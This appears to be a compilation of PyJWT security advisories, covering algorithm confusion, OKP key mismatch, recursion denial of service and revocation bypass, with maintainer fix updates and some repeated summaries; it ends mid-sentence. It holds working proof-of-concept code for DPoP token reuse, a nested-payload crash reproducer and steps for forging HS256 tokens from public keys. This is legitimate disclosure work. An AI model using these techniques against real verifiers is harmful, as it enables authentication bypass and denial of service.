python 1. Attacker obtains RSA public key JWK (e.g., from /jwks.json endpoint) and prepends a UTF-8 BOM byte sequence before the JSON opening brace. 2. Attacker signs a JWT using HS256, with the BOM-prefixed JWK as the secret. 3. Attacker submits the forged token to a verifier that: - accepts algorithms=["HS256", "RS256"] - holds the same RSA public key as raw bytes (BOM-prefixed key file) 4. PyJWT 2.13.0 accepts the token because the BOM causes the JWK detection check to be skipped — the RSA JWK bytes become a valid HMAC key. Result: arbitrary claims (role, sub, etc.) accepted by the verifier.

---

Impact

An unauthenticated network attacker who knows the target application's RSA public key — which is public by design and obtainable from a JWKS endpoint or certificate — can forge JWT tokens containing arbitrary claims and have them accepted by a PyJWT 2.13.0 verifier configured with a mixed algorithm set (algorithms=["HS256", "RS256"] or equivalent). The resulting impact is complete authentication and authorization bypass (C:H/I:H). Attack Complexity is High (AC:H) because the attacker must obtain the RSA public key and the verifier must use a mixed-algorithm configuration; no authentication is required (PR:N). This is a patch bypass: users who upgraded to 2.13.0 specifically to remediate CVE-2026-48526 remain vulnerable.

---

Suggested Fix

Option A (minimal): Replace lstrip() with an explicit strip of known BOM prefixes before the JSON detection check:

python Strip common BOM prefixes in addition to ASCII whitespace BOMPREFIXES = (b"\xef\xbb\xbf", b"\xff\xfe", b"\xfe\xff") stripped = keybytes for bom in BOMPREFIXES: if stripped.startswith(bom): stripped = stripped[len(bom):] break stripped = stripped.lstrip()

Option B (more robust): Use json.loads() as the detection mechanism instead of a byte-prefix check, so encoding variants and whitespace are handled by the JSON parser:

python try: testobj = json.loads(keybytes.strip()) if isinstance(testobj, dict) and "kty" in testobj: raise InvalidKeyError("The specified key is an asymmetric key...") except (ValueError, UnicodeDecodeError): pass

Option B is preferred because it is resilient to any future encoding variant.

---

Maintainer update — 2026-09-09

We reproduced the reported algorithm-confusion path on PyJWT 2.13.0. When an application passes a raw public RSA JWK as the key and allows both an asymmetric and HMAC algorithm, a forged HS256 token signed with the known public JWK bytes is accepted when the JWK is represented in encodings accepted by Python's JSON decoder. The normal raw-JWK, asymmetric-only, and algorithm-bound PyJWK controls reject the token. This is an application configuration precondition, but the bypass is in PyJWT's own raw-JWK validation guard and is in scope under the PyJWT security policy.

The fix is committed as 180783930de91876bc0d601f826a1f2956057291. HMACAlgorithm.preparekey() now checks parsed JSON objects for kty across accepted UTF-8/16/32 representations, preserves non-JWK HMAC key bytes, and conservatively rejects deeply nested JSON objects even when parsing reaches the recursion guard. Regression coverage includes BOM and BOM-less encodings, deep non-JWK keys, deep JWK objects, and unpaired-surrogate cases.

The full suite passes with 391 tests and 4 intentional cryptography-environment skips. A fresh Astra/max independent review accepted commit 180783930de91876bc0d601f826a1f2956057291. It independently confirmed encoding/BOM handling, recursion and surrogate behavior, preservation of non-object key compatibility, and the reported test results.

The fix has not been released. The advisory remains High with its existing CVSS 3.1 score of 7.4, and the patched version remains unset pending release planning.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N and the proposed CWE classification is CWE-347. These classifications reflect the documented impact and do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, HMACAlgorithm.preparekey in jwt/algorithms.py is affected because raw-JWK detector does not normalize accepted Unicode byte-order marks before checking for JSON. This occurs when a public JWK is prefixed with a UTF-8 BOM and used in a mixed-algorithm verification path. As a result, public JWK bypasses asymmetric-key detection and becomes the HMAC secret. Consequently, an attacker who knows the public key can forge authenticated tokens. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, HMACAlgorithm.fromjwk is affected because PyJWK verification path used the decoded key without applying preparekey validation. This occurs when a trusted JWK Set contains an oct entry with an empty k value. As a result, an attacker signs an HMAC token with the same zero-length key accepted by PyJWT. Consequently, forged token can carry arbitrary authenticated claims. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. From 2.4.0 until 2.14.0, PyJWT HMACAlgorithm.preparekey is affected because asymmetric-key guard relies on textual markers that are absent from DER encoding. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a DER public key as the shared verification key. As a result, PyJWT uses public DER bytes as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, HMACAlgorithm.preparekey in jwt/algorithms.py is affected because raw-JWK detector does not normalize accepted Unicode byte-order marks before checking for JSON. This occurs when a public JWK is prefixed with a UTF-8 BOM and used in a mixed-algorithm verification path. As a result, public JWK bypasses asymmetric-key detection and becomes the HMAC secret. Consequently, an attacker who knows the public key can forge authenticated tokens. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT PyJWKClient is affected because redirect destinations are not revalidated against the JWKS trust boundary. This occurs when a configured trusted JWKS endpoint returns an attacker-influenced redirect. As a result, PyJWKClient follows the redirect and consumes the redirected response as key material. Consequently, forwarded credentials may be disclosed or verification keys may be substituted. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. From 2.13.0 until 2.14.0, HMACAlgorithm.fromjwk is affected because PyJWK verification path used the decoded key without applying preparekey validation. This occurs when a trusted JWK Set contains an oct entry with an empty k value. As a result, an attacker signs an HMAC token with the same zero-length key accepted by PyJWT. Consequently, forged token can carry arbitrary authenticated claims. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, ispemformat in jwt/utils.py is affected because ispemformat does not recognize every PEM representation accepted by the cryptography loader. This occurs when an application mixes HMAC and asymmetric algorithms and supplies a mutated public-key PEM as raw key bytes. As a result, HMACAlgorithm.preparekey treats the unrecognized asymmetric public key as an HMAC secret. Consequently, an attacker who knows the public key can forge authenticated HMAC tokens. This issue is fixed in version 2.14.0.

Summary

PyJWT accepts internally inconsistent OKP private JWKs where the declared public key x does not correspond to the supplied private key d.

When d is present, OKPAlgorithm.fromjwk() constructs the Ed25519/Ed448 private key from d without verifying that the public key derived from d matches x. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.

In affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.

Details

The vulnerable logic is in jwt/algorithms.py:

python if "x" not in obj: raise InvalidKeyError('OKP should have "x" parameter')

x = base64urldecode(obj.get("x"))

if "d" not in obj: if curve == "Ed25519": return Ed25519PublicKey.frompublicbytes(x) return Ed448PublicKey.frompublicbytes(x)

d = base64urldecode(obj.get("d"))

if curve == "Ed25519": return Ed25519PrivateKey.fromprivatebytes(d)

return Ed448PrivateKey.fromprivatebytes(d)

When d is present, x is parsed but never compared with the public key derived from d.

For example, PyJWT accepts:

json { "kty": "OKP", "crv": "Ed25519", "x": "<legitimate-user-public-key>", "d": "<attacker-private-key>" }

even though x and d belong to different key pairs.

The behavior has existed since OKP private-JWK import was introduced:

Ed25519: PyJWT 2.1.0+ Ed448: PyJWT 2.2.0+ Confirmed through PyJWT 2.14.0 and current master

A correct import should derive the public key from d and reject the JWK when it does not equal the supplied x.

PoC

The reproducer creates two Ed25519 keypairs:

a legitimate holder keypair an attacker keypair

It then:

1. Creates an access token whose cnf.jkt is bound to the legitimate public key. 2. Creates a DPoP proof JWK containing the legitimate user's x together with the attacker's d. 3. Computes the RFC 7638 thumbprint from x, which still matches the access-token binding. 4. Passes the complete JWK to PyJWK.fromdict(). 5. PyJWT imports the private key from the attacker-controlled d. 6. A DPoP proof signed with the attacker's private key verifies successfully.

Observed result:

text thumbprintmatches: true actualkeyisattackerkey: true actualkeymatchesdeclaredx: false stolensenderconstrainedtokenaccepted: true attackerhaslegitimateprivatekey: false

Tested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.

The complete reproducer is: python #!/usr/bin/env python3

from future import annotations

import base64 import hashlib import json import os import platform import time from importlib.metadata import version from typing import Any

import jwt from cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey from cryptography.hazmat.primitives.serialization import ( Encoding, NoEncryption, PrivateFormat, PublicFormat, )

ACCESSTOKENSECRET = b"synthetic-authorization-server-key-32b" HTTPMETHOD = "GET" HTTPURI = "https://resource.example/protected"

def b64url(raw: bytes) -> str: return base64.urlsafeb64encode(raw).rstrip(b"=").decode("ascii")

def publicx(privatekey: Ed25519PrivateKey) -> str: return b64url(privatekey.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw))

def privated(privatekey: Ed25519PrivateKey) -> str: return b64url( privatekey.privatebytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption()) )

def jwkthumbprint(jwk: dict[str, Any]) -> str: canonical = json.dumps( {"crv": jwk["crv"], "kty": jwk["kty"], "x": jwk["x"]}, separators=(",", ":"), sortkeys=True, ).encode("ascii") return b64url(hashlib.sha256(canonical).digest())

def accesstokenhash(accesstoken: str) -> str: return b64url(hashlib.sha256(accesstoken.encode("ascii")).digest())

def verifyresourcerequest( accesstoken: str, proof: str, , rejectprivateheaderjwk: bool = False, ) -> dict[str, Any]: """Model the security-relevant stages of an RFC 9449 resource server.""" accessclaims = jwt.decode( accesstoken, ACCESSTOKENSECRET, algorithms=["HS256"], issuer="https://authorization.example", audience="resource-api", options={"require": ["exp", "iss", "aud", "sub", "cnf"]}, ) header = jwt.getunverifiedheader(proof) if header.get("typ") != "dpop+jwt" or header.get("alg") != "EdDSA": raise ValueError("invalid DPoP header policy") jwk = header.get("jwk") if not isinstance(jwk, dict): raise ValueError("missing DPoP JWK") if rejectprivateheaderjwk and any( member in jwk for member in ("d", "p", "q", "dp", "dq", "qi", "k") ): raise ValueError("DPoP header JWK contains private material") if jwkthumbprint(jwk) != accessclaims["cnf"]["jkt"]: raise ValueError("DPoP key does not match cnf.jkt")

key = jwt.PyJWK.fromdict(jwk) proofclaims = jwt.decode( proof, key, algorithms=["EdDSA"], options={"require": ["htm", "htu", "iat", "jti", "ath"]}, ) if proofclaims["htm"] != HTTPMETHOD or proofclaims["htu"] != HTTPURI: raise ValueError("DPoP request binding mismatch") if proofclaims["ath"] != accesstokenhash(accesstoken): raise ValueError("DPoP access-token hash mismatch") return accessclaims

def main() -> None: legitimateholder = Ed25519PrivateKey.generate() attacker = Ed25519PrivateKey.generate() legitimatex = publicx(legitimateholder) attackerx = publicx(attacker)

legitimatepublicjwk = { "alg": "EdDSA", "crv": "Ed25519", "kty": "OKP", "x": legitimatex, } mismatchedproofjwk = { legitimatepublicjwk, "d": privated(attacker), } pinnedjkt = jwkthumbprint(legitimatepublicjwk)

now = int(time.time()) accesstoken = jwt.encode( { "aud": "resource-api", "cnf": {"jkt": pinnedjkt}, "exp": now + 300, "iat": now, "iss": "https://authorization.example", "scope": "admin:read", "sub": "legitimate-holder", }, ACCESSTOKENSECRET, algorithm="HS256", ) proofclaims = { "ath": accesstokenhash(accesstoken), "htm": HTTPMETHOD, "htu": HTTPURI, "iat": now, "jti": "synthetic-attacker-proof", } attackerproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": mismatchedproofjwk, "typ": "dpop+jwt"}, )

imported = jwt.PyJWK.fromdict(mismatchedproofjwk).key importedx = b64url( imported.publickey().publicbytes(Encoding.Raw, PublicFormat.Raw) ) acceptedclaims = verifyresourcerequest(accesstoken, attackerproof)

publiconlyrejected = False publiconlyerror = None publiconlyproof = jwt.encode( proofclaims, attacker, algorithm="EdDSA", headers={"jwk": legitimatepublicjwk, "typ": "dpop+jwt"}, ) try: verifyresourcerequest(accesstoken, publiconlyproof) except Exception as error: publiconlyrejected = True publiconlyerror = type(error).name

privatemembercontrolrejected = False privatemembercontrolerror = None try: verifyresourcerequest( accesstoken, attackerproof, rejectprivateheaderjwk=True, ) except Exception as error: privatemembercontrolrejected = True privatemembercontrolerror = type(error).name

result = { "environment": { "PyJWT": jwt.version, "PyJWTsource": str(jwt.file), "Python": platform.pythonversion(), "cryptography": version("cryptography"), "sourceref": os.environ.get("PYJWTSOURCEREF", "installed-release"), }, "dpopbinding": { "accesstokensubject": acceptedclaims["sub"], "accesstokenscope": acceptedclaims["scope"], "pinnedjkt": pinnedjkt, "proofjkt": jwkthumbprint(mismatchedproofjwk), "thumbprintmatches": jwkthumbprint(mismatchedproofjwk) == pinnedjkt, }, "importedkey": { "declaredx": legitimatex, "attackerx": attackerx, "actualimportedx": importedx, "actualkeyisattackerkey": importedx == attackerx, "actualkeymatchesdeclaredx": importedx == legitimatex, }, "vulnerablecomposition": { "stolensenderconstrainedtokenaccepted": acceptedclaims["sub"] == "legitimate-holder", "attackerhaslegitimateprivatekey": False, }, "controls": { "publiconlyjwkrejected": publiconlyrejected, "publiconlyerror": publiconlyerror, "rejectprivateheaderjwkblocksattack": privatemembercontrolrejected, "privatemembercontrolerror": privatemembercontrolerror, }, }

assert jwkthumbprint(mismatchedproofjwk) == pinnedjkt assert importedx == attackerx assert importedx != legitimatex assert acceptedclaims["sub"] == "legitimate-holder" assert publiconlyrejected and publiconlyerror == "InvalidSignatureError" assert privatemembercontrolrejected and privatemembercontrolerror == "ValueError" print(json.dumps(result, indent=2, sortkeys=True))

if name == "main": main()

text 06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py

A public example of the affected composition exists in StrongDM's agentic-auth Flask middleware: it computes an OKP thumbprint from x and subsequently passes the entire JWK to PyJWK.fromdict() for EdDSA DPoP verification without rejecting d.

Impact

The PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.

In a DPoP verifier that:

calculates cnf.jkt / JWK thumbprints from the declared x, passes the same JWK to PyJWT for signature verification, and does not reject private JWK parameters,

an attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.

RFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject d are not vulnerable to the demonstrated attack.

Maintainer assessment (2026-09-12)

We independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding x and d components returned the private key derived from d while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses x as the JWK identity and the returned key for cryptographic operations can act on two different key identities.

Exact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (>= 2.1.0, <= 2.14.0) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.

The fix is on master in commit 3cd9ceec33ced359decbad75b413ad668ae6332c. It derives the public bytes from d, compares them with x, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree 9f219601e39026c7094d48f3fbb6678951878aa8 with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command python -m tox passed all 35 required environments both before and after the commit.

The reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.

The fix is not yet contained in a released PyJWT 2.x version, so patchedversions remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on master; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary. ---

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 3cd9ceec33ced359decbad75b413ad668ae6332c. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: matching Ed25519 and Ed448 x/d private JWK components import successfully, while mismatched components raise InvalidKeyError. The supported affected range remains >= 2.1.0, <= 2.14.0; the patched version is 2.15.0. The earlier statement that no released patched version exists is superseded by this update.

The PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.

PyJWT is a Python implementation of JSON Web Token standards. From 2.1.0 until 2.15.0, PyJWT OKPAlgorithm.fromjwk in jwt/algorithms.py is affected because private-JWK import path does not compare the public key derived from d with x. This occurs when an OKP private JWK supplies non-corresponding x and d components. As a result, identity derived from x can differ from operations performed with d. Consequently, if an integration also accepts private key parameters from a proof header without rejecting them, an attacker may use a stolen sender-constrained token without the legitimate private key. This issue is fixed in version 2.15.0.

Summary

PyJWKClient.getsigningkeyfromjwt(token) — the first step of the JWKS verification flow documented in docs/usage.rst — must decode a token's payload before its signature can be checked, via jwt.apijwt.decodecomplete(token, options={"verifysignature": False}). That call parses the payload with json.loads in PyJWT.decodepayload (jwt/apijwt.py:297-300), whose except clause catches only ValueError. A payload that is valid JSON but nested ~20,000 levels deep makes json.loads raise RecursionError, which is not a ValueError and escapes as a raw, undocumented exception type — not DecodeError, InvalidTokenError, or PyJWTError, so every documented error-handling pattern in docs/usage.rst misses it.

The token needs no valid signature and no network access — the crash happens during payload parsing, before the kid is even looked up. A single unauthenticated ~50KB request crashes the caller's auth handler (HTTP 500 / dead worker), repeatably. The same path is reachable through plain jwt.decode(token, options={"verifysignature": False}) too.

Notably, this project already fixed the identical bug class for the JWS header path — PyJWS.load catches (ValueError, RecursionError) and wraps it in DecodeError (jwt/apijws.py:360-361), and CHANGELOG.rst (v2.14.0, "Security") states "Handle deeply nested and malformed JWS/JWK input without uncaught recursion errors." The payload path — the one part of a forged token an unauthenticated attacker fully controls — was left catching ValueError alone, so that security fix does not fully hold.

A second, related instance: PyJWKClient.fetchdata (jwt/jwksclient.py:168) parses a JWKS endpoint's response with json.load(response) inside a try that only catches (URLError, TimeoutError, http.client.HTTPException) — a deeply-nested JSON response from a JWKS endpoint raises the same raw RecursionError, uncaught entirely (worse than the payload path, which at least caught plain ValueError).

Affected versions: confirmed present in the current release, 2.14.0, and on the current master branch (commit 4adcd02722f5011c60079d3978dfc167b9a8eaa5).

Reproduction

python import base64, json, jwt

def b64url(b): return base64.urlsafeb64encode(b).rstrip(b"=")

header = b64url(json.dumps({"alg": "HS256", "typ": "JWT"}).encode()) payload = b64url(b"[" 20000 + b"]" 20000) token = (header + b"." + payload + b"." + b64url(b"forged-sig")).decode()

jwt.decode(token, options={"verifysignature": False}) raises: RecursionError (not DecodeError/InvalidTokenError/PyJWTError)

Control: the same deeply-nested structure moved into the token's header instead of its payload is correctly converted to jwt.DecodeError by the already-hardened jwt/apijws.py:360 — confirming the payload path is specifically the missed half of the v2.14.0 hardening, not a general gap.

Impact assessment

Unauthenticated denial-of-service via unhandled exception on an auth path. Not an auth bypass — rated medium. With signature verification enabled, this parse runs after verifysignature, so only the pre-verification paths (getsigningkeyfromjwt, explicit verifysignature=False) are attacker-reachable pre-auth; the JWKS-endpoint variant requires control of (or a MITM on) the configured JWKS endpoint rather than being reachable from an arbitrary client token.

Suggested fix

In jwt/apijwt.py:299, change except ValueError as e: to except (ValueError, RecursionError) as e:, mirroring jwt/apijws.py:360 exactly. In jwt/jwksclient.py, add the same (ValueError, RecursionError) handling around json.load(response) in fetchdata, raising PyJWKClientError (consistent with the method's existing documented error contract). A patch implementing both, verified against the full test suite (457 passed, 4 skipped — pre-existing, environment-related) and against the reproduction above (now correctly raises DecodeError), is attached (fix.patch).

Discovery method

Found and verified using scopegrep (https://github.com/not-ekalabya/scopegrep) — a semantic code-retrieval tool that surfaces every other call site of a symbol alongside relevance-ranked results, which is what surfaced the already-hardened header path as the direct comparison here — paired with an LLM coding agent (GLM-5.3) run as an open-ended security review of this repository. Independently reproduced against the exact commit above before this report was written. Happy to share the full session transcript on request.

Disclosure status

Not shared with any other party or published. Submitting through this private channel per the project's stated security policy; no planned public/conference disclosure ahead of a coordinated timeline.

---

Maintainer triage update (2026-09-22)

Confirmed finding and scope

We confirmed that an attacker-controlled recursively nested JWT payload can cause a raw Python RecursionError to escape PyJWT at PyJWT 2.14.0 and the tested current source. The confirmed in-scope paths are direct decoding with verifysignature=False and PyJWKClient.getsigningkeyfromjwt, where payload parsing occurs before key lookup.

The demonstrated impact is limited to an uncaught exception for the affected call, which may surface as an application HTTP 500 when the application does not catch it. Testing did not demonstrate a worker or process crash, persistent resource exhaustion, resource amplification, authentication bypass, or confidentiality or integrity impact.

The separate JWKS-response subclaim is out of scope under the policy boundary that requires the application to trust its configured JWKS source and transport. The confirmed payload finding is not a duplicate of the earlier protected-header parser finding: it occurs in a distinct payload parsing path that remained affected after the earlier header-only fix.

Version and remediation status

Historical testing reproduced the confirmed payload behavior in all 20 official supported PyJWT 2.x releases from 2.0.0a1 through 2.14.0, inclusive. Unsupported PyJWT 1.7.1 also reproduces the behavior, but it is excluded from the advisory range under the supported-2.x policy. No supported unaffected release and no patched release exists. The exact evidence is /Users/jpadilla/.codex/security-advisories/pyjwt/GHSA-42vr-xj54-vc7v-historical-range-20260922.md (SHA-256 c48f1ac35641e9382d53e6a879a71ad9a8fb4432bbe871f2b8330f8d166a2d81) and /Users/jpadilla/.codex/security-advisories/pyjwt/historical-range-42vr-20260922/historical-range-results.json (SHA-256 324997f231561bf6da39b8f9d1e272f69bfde8871a7863f5cb7b70e22e91f076). The evidence-backed supported affected range is >= 2.0.0a1, <= 2.14.0.

Historical range verification is complete. A local fix commit exists and has passed independent review and the complete local CI suite, but it has not been merged into master or released. Consequently, patchedversions remains empty and this advisory remains in triage. The remaining next step is a maintainer decision on remediation and merge. After a fix lands in master and is released, patchedversions and advisory lifecycle can be updated in a separate approved batch.

---

Maintainer remediation update (2026-09-23)

The confirmed payload-parser finding has been fixed on master. Commit 5fde08a6cf906aa7698de2d6391d88b73006b17b converts a recursive payload parse failure to the expected DecodeError; commit 9bc06658f875b9b40091539140bbbdc4639161c3 makes the regression tests deterministic across supported Python versions. This update supersedes the 2026-09-22 remediation-status statement that the fix had not landed.

The original pre-verification payload reproducer and the PyJWKClient.getsigningkeyfromjwt path were covered by regression tests. The exact landed tree passed the full 39-environment local tox matrix and GitHub CI for commit 9bc06658f875b9b40091539140bbbdc4639161c3 passed all 25 jobs, including Ubuntu Python 3.14 and 3.15. The demonstrated impact remains an uncaught request-level exception in affected releases; there is still no evidence of process termination, persistent resource exhaustion, authentication bypass, or confidentiality or integrity impact.

The supported affected range remains >= 2.0.0a1, <= 2.14.0. The latest released version is 2.14.0, which predates these commits; no released patched version exists yet, so patchedversions remains unset. CVSS v3.1 5.3 (Medium) and CWE-248 remain unchanged. The advisory may now move from triage to private draft. The next lifecycle step is a new supported 2.x release containing the fix, followed by separately approved patched-version and publication updates after release verification.

---

Maintainer release update (2026-09-23)

PyJWT 2.15.0 is the first released version containing the payload-parser fix. Its GitHub release tag points to commit 1d41a6478e1562e68ff667fcd703356acf085f68, which includes fix commit 5fde08a6cf906aa7698de2d6391d88b73006b17b and deterministic regression-test commit 9bc06658f875b9b40091539140bbbdc4639161c3. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.

The published PyPI wheel (pyjwt-2.15.0-py3-none-any.whl, SHA-256 7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8) was checked directly: the deeply nested unsigned payload now raises DecodeError, while an ordinary unsigned payload still decodes. The supported affected range remains >= 2.0.0a1, <= 2.14.0; the patched version is 2.15.0. Earlier statements in this advisory that no released patched version exists are superseded by this update.

The confirmed impact remains an uncaught request-level exception in affected versions, not a demonstrated process crash or authentication bypass. The separate JWKS-response subclaim remains outside this advisory's confirmed PyJWT-owned scope.

PyJWT is a Python implementation of JSON Web Token standards. From 2.0.0a1 until 2.15.0, PyJWT PyJWKClient.getsigningkeyfromjwt is affected because payload parser catches ValueError but not RecursionError. This occurs when an attacker-controlled recursively nested payload reaches json.loads. As a result, documented PyJWT exception handling does not contain the failure. Consequently, an unauthenticated request can raise an exception that may produce an HTTP 500 response. The advisory-defined affected implementation also includes jwt/apijwt.py, verifysignature=False. This issue is fixed in version 2.15.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT getsigningkeyfromjwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.

Summary

PyJWT 2.13.0 accepts compact JWS signature segments containing characters that are not in the Base64URL alphabet. Appending !!!! to a valid signature does not change the decoded signature bytes or authenticated claims, but it changes the serialized token and its SHA-256 hash. An application that indexes logout or revocation state by the raw token therefore rejects the logged-out token and accepts its no-key alternate serialization.

This report separates two issues: permissive compact-JWS decoding is the library behavior, while using raw serialized JWT text as a security identity is a dangerous application composition. A jti-indexed control blocks both representations.

Affected Version

Confirmed with PyJWT 2.13.0 on CPython 3.13. The mutation changes only the signature segment and requires no signing key.

End-to-End Reproduction

bash .venv-research/bin/python 06-practical-testing/revocation-bypass-lab.py

The loopback-only lab performs:

1. Issue a valid HS256 admin token. 2. Access /protected successfully. 3. Log out the canonical token and store SHA256(rawtoken). 4. Confirm canonical replay returns HTTP 401. 5. Append !!!! to only the signature segment. 6. Confirm the mutated token has the same verified claims and signature bytes, a different raw hash, and receives HTTP 200. 7. Repeat with jti-indexed revocation and confirm both forms return HTTP 401.

Observed statuses for raw-token revocation were 200 -> logout -> 401 for the canonical token and 200 for the alternate serialization. The jti control returned 401 for both replays after logout.

Security Boundaries and Severity

This is not signature forgery: the attacker starts with a valid token and cannot alter its claims. Impact requires a consumer to bind revocation, replay state, rate limits, or cache identity to the raw compact string. Under that composition, an authenticated user can bypass logout or token-specific revocation without the signing key. Medium is suggested for triage because the security impact is real but application-dependent.

Recommended Fix

- Reject signature segments containing characters outside [A-Za-z0-9-]. - Reject padding and other non-canonical Base64URL encodings for compact JWS. - Add regression tests proving malformed signature encodings fail before or during verification. - Document that applications must use a semantic identifier such as jti, not the raw serialized token, for revocation and replay state.

Maintainer update — 2026-09-09

We reproduced the reported behavior on the verified master commit 8915570: appending !!!! to a valid compact-JWS signature segment is accepted, produces the same decoded signature bytes and claims, and changes the serialized token hash. Existing JWS verification controls pass. The behavior is present in the tested release range represented by tags 2.4.0, 2.8.0, 2.10.1, 2.12.1, and 2.13.0.

The security impact is conditional on an application using the raw serialized token as the identity for logout, revocation, replay, rate-limit, or cache state. Under that composition, an attacker who already holds a valid token can use an alternate serialization after the canonical string is revoked. This is not signature forgery or claim alteration; applications should use a semantic identifier such as jti for token identity.

The report is ready to be accepted as a draft for continued remediation. A narrow fix assessment recommends rejecting non-canonical Base64URL characters and padding in compact-JWS segments. No fix commit or release is claimed yet.

Maintainer update — 2026-09-09

The fix has been rebased onto the current master as e6f48401001609a8f99e71fcaf355fb895d508a8 and is ready to be pushed. Compact-JWS header, payload, and signature segments are now required to use the unpadded Base64URL alphabet and canonical re-encoding; a signature segment containing non-canonical characters such as !!!! is rejected before verification. Valid detached b64=false handling remains supported.

Verification on the rebased fix commit passed 372 tests with 4 intentional cryptography-environment skips; Ruff formatting/lint and git diff --check passed. The compressed-payload regression fixture was updated to valid canonical compact-JWS encoding. No release containing the fix has been published yet, so the patched version remains unset pending release planning.

The advisory remains medium severity and unpublished.

Classification update — 2026-09-10

We completed the advisory classification review. The proposed CVSS 3.1 vector is CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N and the proposed CWE classification is CWE-180. The issue permits alternate non-canonical serializations of an already valid signed token to bypass applications that identify tokens by their raw serialization; it does not forge signatures or alter claims. CWE-180 captures validation/canonicalization ordering.

These metadata changes do not alter the affected range, fix status, or lifecycle state.

Maintainer update — 2026-09-11

The verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT signature segment is affected because signature segment decoding accepts characters outside the canonical Base64URL representation. This occurs when non-Base64URL characters are appended to a valid compact JWS signature segment. As a result, base64urldecode produces the same signature bytes for different serialized segments. Consequently, raw-token revocation checks can fail to recognize an equivalent modified token. This issue is fixed in version 2.14.0.

PyJWT is a Python implementation of JSON Web Token standards. Prior to 2.14.0, PyJWT getsigningkeyfromjwt is affected because unknown kid misses force refreshes without a negative cache or minimum refresh interval. This occurs when unauthenticated tokens repeatedly use the same unknown kid or varying kid values absent from the cached JWKS. As a result, each cache miss causes PyJWKClient to refresh the JWKS. Consequently, attacker traffic can amplify outbound requests to the configured JWKS endpoint. This issue is fixed in version 2.14.0.

Summary

PyJWT 2.13.0 contains an incomplete defense against algorithm confusion when an application mixes symmetric and asymmetric algorithms in one verification path. A public RSA, EC, or OKP JWK can be accepted as an HMAC secret when it is wrapped in a JWKS object, nested in an array, or represented in another container form that does not expose a top-level kty member.

Impact

An attacker who knows the public key material can forge HS256/HS384/HS512 tokens if the application simultaneously:

